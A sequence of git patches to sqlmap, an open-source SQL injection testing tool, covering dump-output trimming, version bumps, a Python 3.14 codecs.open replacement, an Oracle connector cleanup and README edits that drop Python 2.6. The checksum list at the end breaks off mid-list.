a/lib/core/dump.py +++ b/lib/core/dump.py @@ -484,6 +484,12 @@ def dbTableValues(self, tableValues): dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) + if count > TRIM_STDOUT_DUMP_SIZE: + warnMsg = "console output will be trimmed to " + warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE + warnMsg += "large table size" + logger.warning(warnMsg) + separator = str() field = 1 fields = len(tableValues) - 1 @@ -585,12 +591,6 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() - if count > TRIM_STDOUT_DUMP_SIZE: - warnMsg = "console output will be trimmed to " - warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE - warnMsg += "large table size" - logger.warning(warnMsg) - for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index 640feb94eff..305634e5373 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.12" +VERSION = "1.9.12.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -794,7 +794,10 @@ CHECK_SQLITE_TYPE_THRESHOLD = 100 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed") + +# Regular expression used to search for bold-patterns +BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) # TLDs used in randomization of email-alike parameter values RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") From 868536d466a9b4df3079770ef22857550b0c18a2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 22:50:00 +0100 Subject: [PATCH 254/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/dump.py | 3 +++ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bfffb1217ae..19c668e10d5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -174,7 +174,7 @@ ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datat 38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py -2b2a680fdf238b72baa3ae07d41db2f19889719f06014f0950550e226364406f lib/core/dump.py +d36ee88c8ddef6f10aa14f126a36f14c50475f0b66234274cc50fca0e59b2c49 lib/core/dump.py 2ca709fb52b4a1bc83cfe2acdad7e7d4dca1fee6a775e9290f0f1f517955d0b9 lib/core/enums.py 00a9b29caa81fe4a5ef145202f9c92e6081f90b2a85cd76c878d520d900ad856 lib/core/exception.py 1c48804c10b94da696d3470efbd25d2fff0f0bbf2af0101aaac8f8c097fce02b lib/core/gui.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -daa549b47d1a942ffa26863483fb5d5d40b2c1b0ad4c16e92e426399e18d714a lib/core/settings.py +ef0dae689f6beee216cf29b5afdd7029f72f64b889cfae15c3d379e08fff08d1 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/dump.py b/lib/core/dump.py index 2d1efff6b47..ff193b4fff0 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -596,6 +596,9 @@ def dbTableValues(self, tableValues): field = 1 values = [] + if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: + self._write(" ...") + if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") diff --git a/lib/core/settings.py b/lib/core/settings.py index 305634e5373..7e6d20807a4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.13" +VERSION = "1.9.12.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6d49b5a403bff184b48529eccff74a600cb3444c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Dec 2025 22:57:52 +0100 Subject: [PATCH 255/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/dump.py | 4 +++- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 19c668e10d5..cdebf80e228 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -174,7 +174,7 @@ ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datat 38d30ecb10783f0ff58a255c801db8324ef2ac23516c7600a9e177b459d99750 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py -d36ee88c8ddef6f10aa14f126a36f14c50475f0b66234274cc50fca0e59b2c49 lib/core/dump.py +20a6edda1d57a7564869e366f57ed7b2ab068dd8716cf7a10ef4a02d154d6c80 lib/core/dump.py 2ca709fb52b4a1bc83cfe2acdad7e7d4dca1fee6a775e9290f0f1f517955d0b9 lib/core/enums.py 00a9b29caa81fe4a5ef145202f9c92e6081f90b2a85cd76c878d520d900ad856 lib/core/exception.py 1c48804c10b94da696d3470efbd25d2fff0f0bbf2af0101aaac8f8c097fce02b lib/core/gui.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -ef0dae689f6beee216cf29b5afdd7029f72f64b889cfae15c3d379e08fff08d1 lib/core/settings.py +6826e290dec99a6589a5e66a5a2f7d73c2770a00ca72e3646ca22d559686431d lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/dump.py b/lib/core/dump.py index ff193b4fff0..8c777533ee1 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -615,7 +615,9 @@ def dbTableValues(self, tableValues): value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) - values.append(value) + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values.append(value) + maxlength = int(info["length"]) blank = " " * (maxlength - getConsoleLength(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7e6d20807a4..d8b37cd42e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.14" +VERSION = "1.9.12.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 137687e1209f8de2b360c0cd2ef26a820cca590d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Dec 2025 00:03:55 +0100 Subject: [PATCH 256/853] Minor refactoring --- data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 2 +- plugins/dbms/oracle/connector.py | 3 +-- 3 files changed, 6 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index cdebf80e228..65ff4752fbf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,8 +166,8 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py 216c9399853b7454d36dcb552baf9f1169ec7942897ddc46504684325cb6ce00 lib/core/agent.py fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py -8351843afaf565baeed4b97b45f35366f8305c4bf5f9fe1025db87782f72f916 lib/core/common.py -d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py +e56ab9dafa97b1bff42a04bf50ec558ecbe0703cbdcc59d22ced05f82955024d lib/core/common.py +11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py 5a2607c9ffd48e6ae98fb142590ad9f588e19064fa84d6f5e662891228edc0fe lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -6826e290dec99a6589a5e66a5a2f7d73c2770a00ca72e3646ca22d559686431d lib/core/settings.py +8c5ad7a690a3c6843ad22c8d88c7facd33307c200a435820e7dcb1d7d7ccce4a lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -403,7 +403,7 @@ d471eb61a33bd3aa1290cdcce40a5966ebc84af79970f75e8992a2688da4be42 plugins/dbms/m 88daad9cf2f62757949cb27128170f33268059e2f0a05d3bd9f75417b99149de plugins/dbms/mysql/__init__.py 20108fe32ae3025036aa02b4702c4eda81db01c04a2e0e2e4494d8f1b1717eca plugins/dbms/mysql/syntax.py 91f34b67fe3ad5bfa6eae5452a007f97f78b7af000457e9d1c75f4d0207f3d39 plugins/dbms/mysql/takeover.py -4b04646298dfe366c401001ab77893bcd342d34211aec1164c6c92757a66f5f4 plugins/dbms/oracle/connector.py +054fedf01dfd939b01289f85449bdcba3fd9c9414b846572dfc1641909153b09 plugins/dbms/oracle/connector.py 8866391a951e577d2b38b58b970774d38fb09f930fa4f6d27f41af40c06987c1 plugins/dbms/oracle/enumeration.py 5ca9f30cd44d63e2a06528da15643621350d44dc6be784bf134653a20b51efef plugins/dbms/oracle/filesystem.py b1c939e3728fe4a739de474edb88583b7e16297713147ca2ea64cac8edf2bdf5 plugins/dbms/oracle/fingerprint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d8b37cd42e5..cee88bc0d27 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.15" +VERSION = "1.9.12.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 9f785d5cae7..4427d22584f 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -12,7 +12,6 @@ import logging import os -import re from lib.core.common import getSafeExString from lib.core.convert import getText @@ -40,7 +39,7 @@ def connect(self): dsn = oracledb.makedsn(self.hostname, self.port, service_name=self.db) self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn, mode=oracledb.AUTH_MODE_SYSDBA) logger.info("successfully connected as SYSDBA") - except oracledb.DatabaseError as ex: + except oracledb.DatabaseError: # Try again without SYSDBA try: self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn) From 2b44aa1fbbe51f2539203edb64a66ef396b8f0eb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Dec 2025 00:04:31 +0100 Subject: [PATCH 257/853] Implementing compat function codecs_open --- data/txt/sha256sums.txt | 2 +- lib/core/common.py | 3 +- lib/core/compat.py | 115 ++++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 4 files changed, 119 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 65ff4752fbf..0804b664547 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -8c5ad7a690a3c6843ad22c8d88c7facd33307c200a435820e7dcb1d7d7ccce4a lib/core/settings.py +07334f49a15c569a20523fcf2c7a8706d9e253e6b44c9cdb897796f91898f22a lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 893a2aa47e8..2336145b50f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -47,6 +47,7 @@ from extra.cloak.cloak import decloak from lib.core.bigarray import BigArray from lib.core.compat import cmp +from lib.core.compat import codecs_open from lib.core.compat import LooseVersion from lib.core.compat import round from lib.core.compat import xrange @@ -3819,7 +3820,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", return contextlib.closing(io.StringIO(readCachedFileContent(filename))) else: try: - return codecs.open(filename, mode, encoding, errors, buffering) + return codecs_open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") diff --git a/lib/core/compat.py b/lib/core/compat.py index 7020f85c01e..7d0b8fb62b0 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -7,8 +7,10 @@ from __future__ import division +import codecs import binascii import functools +import io import math import os import random @@ -312,3 +314,116 @@ def LooseVersion(version): result = float("NaN") return result + +# NOTE: codecs.open re-implementation (deprecated in Python 3.14) + +try: + # Py2 + _text_type = unicode + _bytes_types = (str, bytearray) +except NameError: + # Py3 + _text_type = str + _bytes_types = (bytes, bytearray, memoryview) + +_WRITE_CHARS = ("w", "a", "x", "+") + +def _is_write_mode(mode): + return any(ch in mode for ch in _WRITE_CHARS) + +class MixedWriteTextIO(object): + """ + Text-ish stream wrapper that accepts both text and bytes in write(). + Bytes are decoded using the file's (encoding, errors) before writing. + + Optionally approximates line-buffering by flushing when a newline is written. + """ + def __init__(self, fh, encoding, errors, line_buffered=False): + self._fh = fh + self._encoding = encoding + self._errors = errors + self._line_buffered = line_buffered + + def write(self, data): + # bytes-like but not text -> decode + if isinstance(data, _bytes_types) and not isinstance(data, _text_type): + data = bytes(data).decode(self._encoding, self._errors) + elif not isinstance(data, _text_type): + data = _text_type(data) + + n = self._fh.write(data) + + # Approximate "line buffering" behavior if requested + if self._line_buffered and u"\n" in data: + try: + self._fh.flush() + except Exception: + pass + + return n + + def writelines(self, lines): + for x in lines: + self.write(x) + + def __iter__(self): + return iter(self._fh) + + def __next__(self): + return next(self._fh) + + def next(self): # Py2 + return self.__next__() + + def __getattr__(self, name): + return getattr(self._fh, name) + + def __enter__(self): + self._fh.__enter__() + return self + + def __exit__(self, exc_type, exc, tb): + return self._fh.__exit__(exc_type, exc, tb) + + +def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1): + """ + Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior. + + - If encoding is None: return io.open(...) as-is. + - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter + (like codecs.open()). + - For write-ish modes: return a wrapper that also accepts bytes on .write(). + - Handles buffering=1 in binary mode by downgrading underlying buffering to -1, + while optionally preserving "flush on newline" behavior in the wrapper. + """ + if encoding is None: + return io.open(filename, mode, buffering=buffering) + + bmode = mode + if "b" not in bmode: + bmode += "b" + + # Avoid line-buffering warnings/errors on binary streams + line_buffered = (buffering == 1) + if line_buffered: + buffering = -1 + + f = io.open(filename, bmode, buffering=buffering) + + try: + info = codecs.lookup(encoding) + srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors) + srw.encoding = encoding + + if _is_write_mode(mode): + return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered) + + return srw + except Exception: + try: + f.close() + finally: + raise + +codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open diff --git a/lib/core/settings.py b/lib/core/settings.py index cee88bc0d27..f6760059b13 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.16" +VERSION = "1.9.12.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d79af7d1ecc465d1210cec02cb28e503e0d478cb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Dec 2025 00:15:00 +0100 Subject: [PATCH 258/853] Dropping mention of Python 2.6 from docus --- README.md | 4 +-- data/txt/sha256sums.txt | 60 +++++++++++++++---------------- doc/translations/README-ar-AR.md | 2 +- doc/translations/README-bg-BG.md | 4 +-- doc/translations/README-bn-BD.md | 4 +-- doc/translations/README-ckb-KU.md | 2 +- doc/translations/README-de-DE.md | 2 +- doc/translations/README-es-MX.md | 4 +-- doc/translations/README-fa-IR.md | 2 +- doc/translations/README-fr-FR.md | 4 +-- doc/translations/README-gr-GR.md | 4 +-- doc/translations/README-hr-HR.md | 4 +-- doc/translations/README-id-ID.md | 4 +-- doc/translations/README-in-HI.md | 4 +-- doc/translations/README-it-IT.md | 4 +-- doc/translations/README-ja-JP.md | 4 +-- doc/translations/README-ka-GE.md | 4 +-- doc/translations/README-ko-KR.md | 4 +-- doc/translations/README-nl-NL.md | 4 +-- doc/translations/README-pl-PL.md | 4 +-- doc/translations/README-pt-BR.md | 4 +-- doc/translations/README-rs-RS.md | 4 +-- doc/translations/README-ru-RU.md | 4 +-- doc/translations/README-sk-SK.md | 4 +-- doc/translations/README-tr-TR.md | 4 +-- doc/translations/README-uk-UA.md | 4 +-- doc/translations/README-vi-VN.md | 4 +-- doc/translations/README-zh-CN.md | 4 +-- extra/shutils/pypi.sh | 6 ++-- lib/core/settings.py | 2 +- lib/utils/versioncheck.py | 4 +-- 31 files changed, 86 insertions(+), 86 deletions(-) diff --git a/README.md b/README.md index b569265e063..e85b3a04359 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. @@ -20,7 +20,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform. +sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform. Usage ---- diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0804b664547..e2688a66778 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -88,32 +88,32 @@ abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md -3a8d6530c3aa16938078ee5f0e25178e8ce92758d3bad5809f800aded24c9633 doc/translations/README-ar-AR.md -d739d4ced220b342316f5814216bdb1cb85609cd5ebb89e606478ac43301009e doc/translations/README-bg-BG.md -66ffca43a07c6d366fe68d5d4c93dca447c7adbff8d5e0f716fcbe54a2021854 doc/translations/README-bn-BD.md -6882f232e5c02d9feb7d4447e0501e4e27be453134fb32119a228686b46492a5 doc/translations/README-ckb-KU.md -9bed1c72ffd6b25eaf0ff66ac9eefaa4efc2f5e168f51cf056b0daf3e92a3db2 doc/translations/README-de-DE.md -008c66ba4a521f7b6f05af2d28669133341a00ebc0a7b68ce0f30480581e998c doc/translations/README-es-MX.md -244cec6aee647e2447e70bbeaf848c7f95714c27e258ddbe7f68787b2be88fe9 doc/translations/README-fa-IR.md -8d31107d021f468ebbcaac7d59ad616e8d5db93a7c459039a11a6bfd2a921ce9 doc/translations/README-fr-FR.md -b9017db1f0167dda23780949b4d618baf877375dc14e08ebd6983331b945ed44 doc/translations/README-gr-GR.md -40cb977cb510b0b9b0996c6ada1bace10f28ff7c43eaab96402d7b9198320fd3 doc/translations/README-hr-HR.md -86b0f6357709e453a6380741cb05f39aa91217cf52da240d403ee8812cc4c95f doc/translations/README-id-ID.md -384bacdd547f87749ea7d73fcb01b25e4b3681d5bcf51ee1b37e9865979eb7c3 doc/translations/README-in-HI.md -21120d6671fe87c2d04e87de675f90f739a7cfe2b553db9b1b5ec31667817852 doc/translations/README-it-IT.md -0daaccf3ccb2d42ad4fbedf0c4059e8a100bb66d5f093c5912b9862bf152bbf6 doc/translations/README-ja-JP.md -81370d878567f411a80d2177d7862aa406229e6c862a6b48d922f64af0db8d14 doc/translations/README-ka-GE.md -8fb3c1b2ddb0efc9a7a1962027fa64c11c11b37eda24ea3dfca0854be73839d8 doc/translations/README-ko-KR.md -35bc7825417d83c21d19f7ebe288721c3960230a0f5b3d596be30b37e00e43c5 doc/translations/README-nl-NL.md -12d6078189d5b4bc255f41f1aae1941f1abe501abd2c0442b5a2090f1628e17d doc/translations/README-pl-PL.md -8d0708c2a215e2ee8367fe11a3af750a06bc792292cba8a204d44d03deb56b7d doc/translations/README-pt-BR.md -070cc897789e98f144a6b6b166d11289b3cda4d871273d2afe0ab81ac7ae90ad doc/translations/README-rs-RS.md -927743c0a1f68dc76969bda49b36a6146f756b907896078af2a99c3340d6cc34 doc/translations/README-ru-RU.md -65de5053b014b0e0b9ab5ab68fe545a7f9db9329fa0645a9973e457438b4fde5 doc/translations/README-sk-SK.md -a101a1d68362adbf6a82bf66be55a3bef4b6dc8a8855f363a284c71b2ec4e144 doc/translations/README-tr-TR.md -0db2d479b1512c948a78ce5c1cf87b5ce0b5b94e3cb16b19e9afcbed2c7f5cae doc/translations/README-uk-UA.md -82f9ec2cf2392163e694c99efa79c459a44b6213a5881887777db8228ea230fa doc/translations/README-vi-VN.md -0e8f0a2186f90fabd721072972c571a7e5664496d88d6db8aedcb1d0e34c91f0 doc/translations/README-zh-CN.md +25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md +c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md +e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md +00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md +f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md +163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md +70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md +a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md +f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md +bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md +27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md +830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md +40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md +379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md +754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md 